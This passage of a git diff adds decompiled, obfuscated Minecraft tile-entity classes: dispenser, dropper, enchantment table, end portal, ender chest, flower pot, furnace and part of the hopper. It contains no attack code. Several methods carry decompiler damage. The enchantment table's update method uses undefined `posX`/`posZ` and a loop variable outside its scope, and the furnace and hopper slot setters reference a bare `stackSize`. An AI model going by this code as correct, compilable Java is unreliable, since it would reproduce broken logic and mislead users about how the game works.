+  public int func_146019_a(ItemStack p_146019_1_)
+  {
+    for (int var2 = 0; var2 < field_146022_i.length; var2++)
+    {
+      if ((field_146022_i[var2] == null) || (field_146022_i[var2].getItem() == null))
+      {
+        setInventorySlotContents(var2, p_146019_1_);
+        return var2;
+      }
+    }
+    
+    return -1;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return hasCustomName() ? field_146020_a : "container.dispenser";
+  }
+  
+  public void func_146018_a(String p_146018_1_)
+  {
+    field_146020_a = p_146018_1_;
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return field_146020_a != null;
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    NBTTagList var2 = compound.getTagList("Items", 10);
+    field_146022_i = new ItemStack[getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.tagCount(); var3++)
+    {
+      NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+      int var5 = var4.getByte("Slot") & 0xFF;
+      
+      if ((var5 >= 0) && (var5 < field_146022_i.length))
+      {
+        field_146022_i[var5] = ItemStack.loadItemStackFromNBT(var4);
+      }
+    }
+    
+    if (compound.hasKey("CustomName", 8))
+    {
+      field_146020_a = compound.getString("CustomName");
+    }
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    NBTTagList var2 = new NBTTagList();
+    
+    for (int var3 = 0; var3 < field_146022_i.length; var3++)
+    {
+      if (field_146022_i[var3] != null)
+      {
+        NBTTagCompound var4 = new NBTTagCompound();
+        var4.setByte("Slot", (byte)var3);
+        field_146022_i[var3].writeToNBT(var4);
+        var2.appendTag(var4);
+      }
+    }
+    
+    compound.setTag("Items", var2);
+    
+    if (hasCustomName())
+    {
+      compound.setString("CustomName", field_146020_a);
+    }
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return worldObj.getTileEntity(pos) == this;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return true;
+  }
+  
+  public String getGuiID()
+  {
+    return "minecraft:dispenser";
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    return new ContainerDispenser(playerInventory, this);
+  }
+  
+  public int getField(int id)
+  {
+    return 0;
+  }
+  
+  public void setField(int id, int value) {}
+  
+  public int getFieldCount()
+  {
+    return 0;
+  }
+  
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < field_146022_i.length; var1++)
+    {
+      field_146022_i[var1] = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityDropper.java b/src/minecraft/net/minecraft/tileentity/TileEntityDropper.java
new file mode 100644
index 0000000..2b853a9
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityDropper.java
@@ -0,0 +1,19 @@
+package net.minecraft.tileentity;
+
+public class TileEntityDropper
+  extends TileEntityDispenser
+{
+  private static final String __OBFID = "CL_00000353";
+  
+  public TileEntityDropper() {}
+  
+  public String getName()
+  {
+    return hasCustomName() ? field_146020_a : "container.dropper";
+  }
+  
+  public String getGuiID()
+  {
+    return "minecraft:dropper";
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityEnchantmentTable.java b/src/minecraft/net/minecraft/tileentity/TileEntityEnchantmentTable.java
new file mode 100644
index 0000000..9356719
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityEnchantmentTable.java
@@ -0,0 +1,163 @@
+package net.minecraft.tileentity;
+
+import java.util.Random;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentText;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.IInteractionObject;
+import net.minecraft.world.World;
+
+public class TileEntityEnchantmentTable extends TileEntity implements IUpdatePlayerListBox, IInteractionObject
+{
+  public int tickCount;
+  public float pageFlip;
+  public float pageFlipPrev;
+  public float field_145932_k;
+  public float field_145929_l;
+  public float bookSpread;
+  public float bookSpreadPrev;
+  public float bookRotation;
+  public float bookRotationPrev;
+  public float field_145924_q;
+  private static Random field_145923_r = new Random();
+  private String field_145922_s;
+  private static final String __OBFID = "CL_00000354";
+  
+  public TileEntityEnchantmentTable() {}
+  
+  public void writeToNBT(NBTTagCompound compound) { super.writeToNBT(compound);
+    
+    if (hasCustomName())
+    {
+      compound.setString("CustomName", field_145922_s);
+    }
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    
+    if (compound.hasKey("CustomName", 8))
+    {
+      field_145922_s = compound.getString("CustomName");
+    }
+  }
+  
+
+
+
+  public void update()
+  {
+    bookSpreadPrev = bookSpread;
+    bookRotationPrev = bookRotation;
+    EntityPlayer var1 = worldObj.getClosestPlayer(pos.getX() + 0.5F, pos.getY() + 0.5F, pos.getZ() + 0.5F, 3.0D);
+    
+    if (var1 != null)
+    {
+      double var2 = posX - (pos.getX() + 0.5F);
+      double var4 = posZ - (pos.getZ() + 0.5F);
+      field_145924_q = ((float)Math.atan2(var4, var2));
+      bookSpread += 0.1F;
+      
+      if ((bookSpread < 0.5F) || (field_145923_r.nextInt(40) == 0))
+      {
+        float var6 = field_145932_k;
+        
+        do
+        {
+          field_145932_k += field_145923_r.nextInt(4) - field_145923_r.nextInt(4);
+        }
+        while (var6 == field_145932_k);
+      }
+    }
+    else
+    {
+      field_145924_q += 0.02F;
+      bookSpread -= 0.1F;
+    }
+    
+    while (bookRotation >= 3.1415927F)
+    {
+      bookRotation -= 6.2831855F;
+    }
+    
+    while (bookRotation < -3.1415927F)
+    {
+      bookRotation += 6.2831855F;
+    }
+    
+    while (field_145924_q >= 3.1415927F)
+    {
+      field_145924_q -= 6.2831855F;
+    }
+    
+    while (field_145924_q < -3.1415927F)
+    {
+      field_145924_q += 6.2831855F;
+    }
+    
+
+
+    for (float var7 = field_145924_q - bookRotation; var7 >= 3.1415927F; var7 -= 6.2831855F) {}
+    
+
+
+
+    while (var7 < -3.1415927F)
+    {
+      var7 += 6.2831855F;
+    }
+    
+    bookRotation += var7 * 0.4F;
+    bookSpread = MathHelper.clamp_float(bookSpread, 0.0F, 1.0F);
+    tickCount += 1;
+    pageFlipPrev = pageFlip;
+    float var3 = (field_145932_k - pageFlip) * 0.4F;
+    float var8 = 0.2F;
+    var3 = MathHelper.clamp_float(var3, -var8, var8);
+    field_145929_l += (var3 - field_145929_l) * 0.9F;
+    pageFlip += field_145929_l;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return hasCustomName() ? field_145922_s : "container.enchant";
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return (field_145922_s != null) && (field_145922_s.length() > 0);
+  }
+  
+  public void func_145920_a(String p_145920_1_)
+  {
+    field_145922_s = p_145920_1_;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return hasCustomName() ? new ChatComponentText(getName()) : new net.minecraft.util.ChatComponentTranslation(getName(), new Object[0]);
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    return new net.minecraft.inventory.ContainerEnchantment(playerInventory, worldObj, pos);
+  }
+  
+  public String getGuiID()
+  {
+    return "minecraft:enchanting_table";
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityEndPortal.java b/src/minecraft/net/minecraft/tileentity/TileEntityEndPortal.java
new file mode 100644
index 0000000..6f58f79
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityEndPortal.java
@@ -0,0 +1,9 @@
+package net.minecraft.tileentity;
+
+public class TileEntityEndPortal
+  extends TileEntity
+{
+  private static final String __OBFID = "CL_00000365";
+  
+  public TileEntityEndPortal() {}
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityEnderChest.java b/src/minecraft/net/minecraft/tileentity/TileEntityEnderChest.java
new file mode 100644
index 0000000..60e5721
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityEnderChest.java
@@ -0,0 +1,113 @@
+package net.minecraft.tileentity;
+
+import java.util.Random;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class TileEntityEnderChest extends TileEntity implements IUpdatePlayerListBox
+{
+  public float field_145972_a;
+  public float prevLidAngle;
+  public int field_145973_j;
+  private int field_145974_k;
+  private static final String __OBFID = "CL_00000355";
+  
+  public TileEntityEnderChest() {}
+  
+  public void update()
+  {
+    if (++field_145974_k % 20 * 4 == 0)
+    {
+      worldObj.addBlockEvent(pos, Blocks.ender_chest, 1, field_145973_j);
+    }
+    
+    prevLidAngle = field_145972_a;
+    int var1 = pos.getX();
+    int var2 = pos.getY();
+    int var3 = pos.getZ();
+    float var4 = 0.1F;
+    
+
+    if ((field_145973_j > 0) && (field_145972_a == 0.0F))
+    {
+      double var5 = var1 + 0.5D;
+      double var7 = var3 + 0.5D;
+      worldObj.playSoundEffect(var5, var2 + 0.5D, var7, "random.chestopen", 0.5F, worldObj.rand.nextFloat() * 0.1F + 0.9F);
+    }
+    
+    if (((field_145973_j == 0) && (field_145972_a > 0.0F)) || ((field_145973_j > 0) && (field_145972_a < 1.0F)))
+    {
+      float var11 = field_145972_a;
+      
+      if (field_145973_j > 0)
+      {
+        field_145972_a += var4;
+      }
+      else
+      {
+        field_145972_a -= var4;
+      }
+      
+      if (field_145972_a > 1.0F)
+      {
+        field_145972_a = 1.0F;
+      }
+      
+      float var6 = 0.5F;
+      
+      if ((field_145972_a < var6) && (var11 >= var6))
+      {
+        double var7 = var1 + 0.5D;
+        double var9 = var3 + 0.5D;
+        worldObj.playSoundEffect(var7, var2 + 0.5D, var9, "random.chestclosed", 0.5F, worldObj.rand.nextFloat() * 0.1F + 0.9F);
+      }
+      
+      if (field_145972_a < 0.0F)
+      {
+        field_145972_a = 0.0F;
+      }
+    }
+  }
+  
+  public boolean receiveClientEvent(int id, int type)
+  {
+    if (id == 1)
+    {
+      field_145973_j = type;
+      return true;
+    }
+    
+
+    return super.receiveClientEvent(id, type);
+  }
+  
+
+
+
+
+  public void invalidate()
+  {
+    updateContainingBlockInfo();
+    super.invalidate();
+  }
+  
+  public void func_145969_a()
+  {
+    field_145973_j += 1;
+    worldObj.addBlockEvent(pos, Blocks.ender_chest, 1, field_145973_j);
+  }
+  
+  public void func_145970_b()
+  {
+    field_145973_j -= 1;
+    worldObj.addBlockEvent(pos, Blocks.ender_chest, 1, field_145973_j);
+  }
+  
+  public boolean func_145971_a(EntityPlayer p_145971_1_)
+  {
+    return worldObj.getTileEntity(pos) == this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityFlowerPot.java b/src/minecraft/net/minecraft/tileentity/TileEntityFlowerPot.java
new file mode 100644
index 0000000..539a1ca
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityFlowerPot.java
@@ -0,0 +1,74 @@
+package net.minecraft.tileentity;
+
+import net.minecraft.item.Item;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.network.Packet;
+import net.minecraft.network.play.server.S35PacketUpdateTileEntity;
+import net.minecraft.util.ResourceLocation;
+
+public class TileEntityFlowerPot extends TileEntity
+{
+  private Item flowerPotItem;
+  private int flowerPotData;
+  private static final String __OBFID = "CL_00000356";
+  
+  public TileEntityFlowerPot() {}
+  
+  public TileEntityFlowerPot(Item p_i45442_1_, int p_i45442_2_)
+  {
+    flowerPotItem = p_i45442_1_;
+    flowerPotData = p_i45442_2_;
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    ResourceLocation var2 = (ResourceLocation)Item.itemRegistry.getNameForObject(flowerPotItem);
+    compound.setString("Item", var2 == null ? "" : var2.toString());
+    compound.setInteger("Data", flowerPotData);
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    
+    if (compound.hasKey("Item", 8))
+    {
+      flowerPotItem = Item.getByNameOrId(compound.getString("Item"));
+    }
+    else
+    {
+      flowerPotItem = Item.getItemById(compound.getInteger("Item"));
+    }
+    
+    flowerPotData = compound.getInteger("Data");
+  }
+  
+
+
+
+  public Packet getDescriptionPacket()
+  {
+    NBTTagCompound var1 = new NBTTagCompound();
+    writeToNBT(var1);
+    var1.removeTag("Item");
+    var1.setInteger("Item", Item.getIdFromItem(flowerPotItem));
+    return new S35PacketUpdateTileEntity(pos, 5, var1);
+  }
+  
+  public void func_145964_a(Item p_145964_1_, int p_145964_2_)
+  {
+    flowerPotItem = p_145964_1_;
+    flowerPotData = p_145964_2_;
+  }
+  
+  public Item getFlowerPotItem()
+  {
+    return flowerPotItem;
+  }
+  
+  public int getFlowerPotData()
+  {
+    return flowerPotData;
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityFurnace.java b/src/minecraft/net/minecraft/tileentity/TileEntityFurnace.java
new file mode 100644
index 0000000..4c96b26
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityFurnace.java
@@ -0,0 +1,527 @@
+package net.minecraft.tileentity;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockFurnace;
+import net.minecraft.block.material.Material;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerFurnace;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.inventory.ISidedInventory;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemBlock;
+import net.minecraft.item.ItemHoe;
+import net.minecraft.item.ItemStack;
+import net.minecraft.item.ItemSword;
+import net.minecraft.item.ItemTool;
+import net.minecraft.item.crafting.FurnaceRecipes;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class TileEntityFurnace extends TileEntityLockable implements IUpdatePlayerListBox, ISidedInventory
+{
+  private static final int[] slotsTop = new int[1];
+  private static final int[] slotsBottom = { 2, 1 };
+  private static final int[] slotsSides = { 1 };
+  
+
+
+
+  private ItemStack[] furnaceItemStacks = new ItemStack[3];
+  
+  private int furnaceBurnTime;
+  
+  private int currentItemBurnTime;
+  
+  private int field_174906_k;
+  
+  private int field_174905_l;
+  
+  private String furnaceCustomName;
+  
+  private static final String __OBFID = "CL_00000357";
+  
+
+  public TileEntityFurnace() {}
+  
+  public int getSizeInventory()
+  {
+    return furnaceItemStacks.length;
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return furnaceItemStacks[slotIn];
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if (furnaceItemStacks[index] != null)
+    {
+
+
+      if (furnaceItemStacks[index].stackSize <= count)
+      {
+        ItemStack var3 = furnaceItemStacks[index];
+        furnaceItemStacks[index] = null;
+        return var3;
+      }
+      
+
+      ItemStack var3 = furnaceItemStacks[index].splitStack(count);
+      
+      if (furnaceItemStacks[index].stackSize == 0)
+      {
+        furnaceItemStacks[index] = null;
+      }
+      
+      return var3;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if (furnaceItemStacks[index] != null)
+    {
+      ItemStack var2 = furnaceItemStacks[index];
+      furnaceItemStacks[index] = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    boolean var3 = (stack != null) && (stack.isItemEqual(furnaceItemStacks[index])) && (ItemStack.areItemStackTagsEqual(stack, furnaceItemStacks[index]));
+    furnaceItemStacks[index] = stack;
+    
+    if ((stack != null) && (stackSize > getInventoryStackLimit()))
+    {
+      stackSize = getInventoryStackLimit();
+    }
+    
+    if ((index == 0) && (!var3))
+    {
+      field_174905_l = func_174904_a(stack);
+      field_174906_k = 0;
+      markDirty();
+    }
+  }
+  
+
+
+
+  public String getName()
+  {
+    return hasCustomName() ? furnaceCustomName : "container.furnace";
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return (furnaceCustomName != null) && (furnaceCustomName.length() > 0);
+  }
+  
+  public void setCustomInventoryName(String p_145951_1_)
+  {
+    furnaceCustomName = p_145951_1_;
+  }
+  
+  public void readFromNBT(NBTTagCompound compound)
+  {
+    super.readFromNBT(compound);
+    NBTTagList var2 = compound.getTagList("Items", 10);
+    furnaceItemStacks = new ItemStack[getSizeInventory()];
+    
+    for (int var3 = 0; var3 < var2.tagCount(); var3++)
+    {
+      NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+      byte var5 = var4.getByte("Slot");
+      
+      if ((var5 >= 0) && (var5 < furnaceItemStacks.length))
+      {
+        furnaceItemStacks[var5] = ItemStack.loadItemStackFromNBT(var4);
+      }
+    }
+    
+    furnaceBurnTime = compound.getShort("BurnTime");
+    field_174906_k = compound.getShort("CookTime");
+    field_174905_l = compound.getShort("CookTimeTotal");
+    currentItemBurnTime = getItemBurnTime(furnaceItemStacks[1]);
+    
+    if (compound.hasKey("CustomName", 8))
+    {
+      furnaceCustomName = compound.getString("CustomName");
+    }
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    compound.setShort("BurnTime", (short)furnaceBurnTime);
+    compound.setShort("CookTime", (short)field_174906_k);
+    compound.setShort("CookTimeTotal", (short)field_174905_l);
+    NBTTagList var2 = new NBTTagList();
+    
+    for (int var3 = 0; var3 < furnaceItemStacks.length; var3++)
+    {
+      if (furnaceItemStacks[var3] != null)
+      {
+        NBTTagCompound var4 = new NBTTagCompound();
+        var4.setByte("Slot", (byte)var3);
+        furnaceItemStacks[var3].writeToNBT(var4);
+        var2.appendTag(var4);
+      }
+    }
+    
+    compound.setTag("Items", var2);
+    
+    if (hasCustomName())
+    {
+      compound.setString("CustomName", furnaceCustomName);
+    }
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+
+
+
+  public boolean isBurning()
+  {
+    return furnaceBurnTime > 0;
+  }
+  
+  public static boolean func_174903_a(IInventory p_174903_0_)
+  {
+    return p_174903_0_.getField(0) > 0;
+  }
+  
+
+
+
+  public void update()
+  {
+    boolean var1 = isBurning();
+    boolean var2 = false;
+    
+    if (isBurning())
+    {
+      furnaceBurnTime -= 1;
+    }
+    
+    if (!worldObj.isRemote)
+    {
+      if ((!isBurning()) && ((furnaceItemStacks[1] == null) || (furnaceItemStacks[0] == null)))
+      {
+        if ((!isBurning()) && (field_174906_k > 0))
+        {
+          field_174906_k = MathHelper.clamp_int(field_174906_k - 2, 0, field_174905_l);
+        }
+      }
+      else
+      {
+        if ((!isBurning()) && (canSmelt()))
+        {
+          currentItemBurnTime = (this.furnaceBurnTime = getItemBurnTime(furnaceItemStacks[1]));
+          
+          if (isBurning())
+          {
+            var2 = true;
+            
+            if (furnaceItemStacks[1] != null)
+            {
+              furnaceItemStacks[1].stackSize -= 1;
+              
+              if (furnaceItemStacks[1].stackSize == 0)
+              {
+                Item var3 = furnaceItemStacks[1].getItem().getContainerItem();
+                furnaceItemStacks[1] = (var3 != null ? new ItemStack(var3) : null);
+              }
+            }
+          }
+        }
+        
+        if ((isBurning()) && (canSmelt()))
+        {
+          field_174906_k += 1;
+          
+          if (field_174906_k == field_174905_l)
+          {
+            field_174906_k = 0;
+            field_174905_l = func_174904_a(furnaceItemStacks[0]);
+            smeltItem();
+            var2 = true;
+          }
+        }
+        else
+        {
+          field_174906_k = 0;
+        }
+      }
+      
+      if (var1 != isBurning())
+      {
+        var2 = true;
+        BlockFurnace.func_176446_a(isBurning(), worldObj, pos);
+      }
+    }
+    
+    if (var2)
+    {
+      markDirty();
+    }
+  }
+  
+  public int func_174904_a(ItemStack p_174904_1_)
+  {
+    return 200;
+  }
+  
+
+
+
+  private boolean canSmelt()
+  {
+    if (furnaceItemStacks[0] == null)
+    {
+      return false;
+    }
+    
+
+    ItemStack var1 = FurnaceRecipes.instance().getSmeltingResult(furnaceItemStacks[0]);
+    return var1 != null;
+  }
+  
+
+
+
+
+  public void smeltItem()
+  {
+    if (canSmelt())
+    {
+      ItemStack var1 = FurnaceRecipes.instance().getSmeltingResult(furnaceItemStacks[0]);
+      
+      if (furnaceItemStacks[2] == null)
+      {
+        furnaceItemStacks[2] = var1.copy();
+      }
+      else if (furnaceItemStacks[2].getItem() == var1.getItem())
+      {
+        furnaceItemStacks[2].stackSize += 1;
+      }
+      
+      if ((furnaceItemStacks[0].getItem() == Item.getItemFromBlock(Blocks.sponge)) && (furnaceItemStacks[0].getMetadata() == 1) && (furnaceItemStacks[1] != null) && (furnaceItemStacks[1].getItem() == Items.bucket))
+      {
+        furnaceItemStacks[1] = new ItemStack(Items.water_bucket);
+      }
+      
+      furnaceItemStacks[0].stackSize -= 1;
+      
+      if (furnaceItemStacks[0].stackSize <= 0)
+      {
+        furnaceItemStacks[0] = null;
+      }
+    }
+  }
+  
+
+
+
+
+  public static int getItemBurnTime(ItemStack p_145952_0_)
+  {
+    if (p_145952_0_ == null)
+    {
+      return 0;
+    }
+    
+
+    Item var1 = p_145952_0_.getItem();
+    
+    if (((var1 instanceof ItemBlock)) && (Block.getBlockFromItem(var1) != Blocks.air))
+    {
+      Block var2 = Block.getBlockFromItem(var1);
+      
+      if (var2 == Blocks.wooden_slab)
+      {
+        return 150;
+      }
+      
+      if (var2.getMaterial() == Material.wood)
+      {
+        return 300;
+      }
+      
+      if (var2 == Blocks.coal_block)
+      {
+        return 16000;
+      }
+    }
+    
+    return var1 == Items.blaze_rod ? 2400 : var1 == Item.getItemFromBlock(Blocks.sapling) ? 100 : var1 == Items.lava_bucket ? 20000 : var1 == Items.coal ? 1600 : var1 == Items.stick ? 100 : ((var1 instanceof ItemHoe)) && (((ItemHoe)var1).getMaterialName().equals("WOOD")) ? 200 : ((var1 instanceof ItemSword)) && (((ItemSword)var1).getToolMaterialName().equals("WOOD")) ? 200 : ((var1 instanceof ItemTool)) && (((ItemTool)var1).getToolMaterialName().equals("WOOD")) ? 200 : 0;
+  }
+  
+
+  public static boolean isItemFuel(ItemStack p_145954_0_)
+  {
+    return getItemBurnTime(p_145954_0_) > 0;
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return worldObj.getTileEntity(pos) == this;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return index != 2;
+  }
+  
+  public int[] getSlotsForFace(EnumFacing side)
+  {
+    return side == EnumFacing.UP ? slotsTop : side == EnumFacing.DOWN ? slotsBottom : slotsSides;
+  }
+  
+
+
+
+
+  public boolean canInsertItem(int slotIn, ItemStack itemStackIn, EnumFacing direction)
+  {
+    return isItemValidForSlot(slotIn, itemStackIn);
+  }
+  
+
+
+
+
+  public boolean canExtractItem(int slotId, ItemStack stack, EnumFacing direction)
+  {
+    if ((direction == EnumFacing.DOWN) && (slotId == 1))
+    {
+      Item var4 = stack.getItem();
+      
+      if ((var4 != Items.water_bucket) && (var4 != Items.bucket))
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+  public String getGuiID()
+  {
+    return "minecraft:furnace";
+  }
+  
+  public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+  {
+    return new ContainerFurnace(playerInventory, this);
+  }
+  
+  public int getField(int id)
+  {
+    switch (id)
+    {
+    case 0: 
+      return furnaceBurnTime;
+    
+    case 1: 
+      return currentItemBurnTime;
+    
+    case 2: 
+      return field_174906_k;
+    
+    case 3: 
+      return field_174905_l;
+    }
+    
+    return 0;
+  }
+  
+
+  public void setField(int id, int value)
+  {
+    switch (id)
+    {
+    case 0: 
+      furnaceBurnTime = value;
+      break;
+    
+    case 1: 
+      currentItemBurnTime = value;
+      break;
+    
+    case 2: 
+      field_174906_k = value;
+      break;
+    
+    case 3: 
+      field_174905_l = value;
+    }
+  }
+  
+  public int getFieldCount()
+  {
+    return 4;
+  }
+  
+  public void clearInventory()
+  {
+    for (int var1 = 0; var1 < furnaceItemStacks.length; var1++)
+    {
+      furnaceItemStacks[var1] = null;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/tileentity/TileEntityHopper.java b/src/minecraft/net/minecraft/tileentity/TileEntityHopper.java
new file mode 100644
index 0000000..b36595a
--- /dev/null
+++ b/src/minecraft/net/minecraft/tileentity/TileEntityHopper.java
@@ -0,0 +1,730 @@
+package net.minecraft.tileentity;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockChest;
+import net.minecraft.block.BlockHopper;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.command.IEntitySelector;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.inventory.ISidedInventory;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.server.gui.IUpdatePlayerListBox;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class TileEntityHopper extends TileEntityLockable implements IHopper, IUpdatePlayerListBox
+{
+  private ItemStack[] inventory = new ItemStack[5];
+  private String customName;
+  private int transferCooldown = -1;
+  private static final String __OBFID = "CL_00000359";
+  
+  public TileEntityHopper() {}
+  
+  public void readFromNBT(NBTTagCompound compound) { super.readFromNBT(compound);
+    NBTTagList var2 = compound.getTagList("Items", 10);
+    inventory = new ItemStack[getSizeInventory()];
+    
+    if (compound.hasKey("CustomName", 8))
+    {
+      customName = compound.getString("CustomName");
+    }
+    
+    transferCooldown = compound.getInteger("TransferCooldown");
+    
+    for (int var3 = 0; var3 < var2.tagCount(); var3++)
+    {
+      NBTTagCompound var4 = var2.getCompoundTagAt(var3);
+      byte var5 = var4.getByte("Slot");
+      
+      if ((var5 >= 0) && (var5 < inventory.length))
+      {
+        inventory[var5] = ItemStack.loadItemStackFromNBT(var4);
+      }
+    }
+  }
+  
+  public void writeToNBT(NBTTagCompound compound)
+  {
+    super.writeToNBT(compound);
+    NBTTagList var2 = new NBTTagList();
+    
+    for (int var3 = 0; var3 < inventory.length; var3++)
+    {
+      if (inventory[var3] != null)
+      {
+        NBTTagCompound var4 = new NBTTagCompound();
+        var4.setByte("Slot", (byte)var3);
+        inventory[var3].writeToNBT(var4);
+        var2.appendTag(var4);
+      }
+    }
+    
+    compound.setTag("Items", var2);
+    compound.setInteger("TransferCooldown", transferCooldown);
+    
+    if (hasCustomName())
+    {
+      compound.setString("CustomName", customName);
+    }
+  }
+  
+
+
+
+
+  public void markDirty()
+  {
+    super.markDirty();
+  }
+  
+
+
+
+  public int getSizeInventory()
+  {
+    return inventory.length;
+  }
+  
+
+
+
+  public ItemStack getStackInSlot(int slotIn)
+  {
+    return inventory[slotIn];
+  }
+  
+
+
+
+
+  public ItemStack decrStackSize(int index, int count)
+  {
+    if (inventory[index] != null)
+    {
+
+
+      if (inventory[index].stackSize <= count)
+      {
+        ItemStack var3 = inventory[index];
+        inventory[index] = null;
+        return var3;
+      }
+      
+
+      ItemStack var3 = inventory[index].splitStack(count);
+      
+      if (inventory[index].stackSize == 0)
+      {
+        inventory[index] = null;
+      }
+      
+      return var3;
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+
+
+
+  public ItemStack getStackInSlotOnClosing(int index)
+  {
+    if (inventory[index] != null)
+    {
+      ItemStack var2 = inventory[index];
+      inventory[index] = null;
+      return var2;
+    }
+    
+
+    return null;
+  }
+  
+
+
+
+
+  public void setInventorySlotContents(int index, ItemStack stack)
+  {
+    inventory[index] = stack;
+    
+    if ((stack != null) && (stackSize > getInventoryStackLimit()))
+    {
+      stackSize = getInventoryStackLimit();
+    }
+  }
+  
+
+
+
+  public String getName()
+  {
+    return hasCustomName() ? customName : "container.hopper";
+  }
+  
+
+
+
+  public boolean hasCustomName()
+  {
+    return (customName != null) && (customName.length() > 0);
+  }
+  
+  public void setCustomName(String customNameIn)
+  {
+    customName = customNameIn;
+  }
+  
+
+
+
+
+  public int getInventoryStackLimit()
+  {
+    return 64;
+  }
+  
+
+
+
+  public boolean isUseableByPlayer(EntityPlayer playerIn)
+  {
+    return worldObj.getTileEntity(pos) == this;
+  }
+  
+
+  public void openInventory(EntityPlayer playerIn) {}
+  
+
+  public void closeInventory(EntityPlayer playerIn) {}
+  
+
+  public boolean isItemValidForSlot(int index, ItemStack stack)
+  {
+    return true;
+  }
+  
+
+
+
+  public void update()
+  {
+    if ((worldObj != null) && (!worldObj.isRemote))
+    {
+      transferCooldown -= 1;
+      
+      if (!isOnTransferCooldown())
+      {
+        setTransferCooldown(0);
+        func_145887_i();
+      }
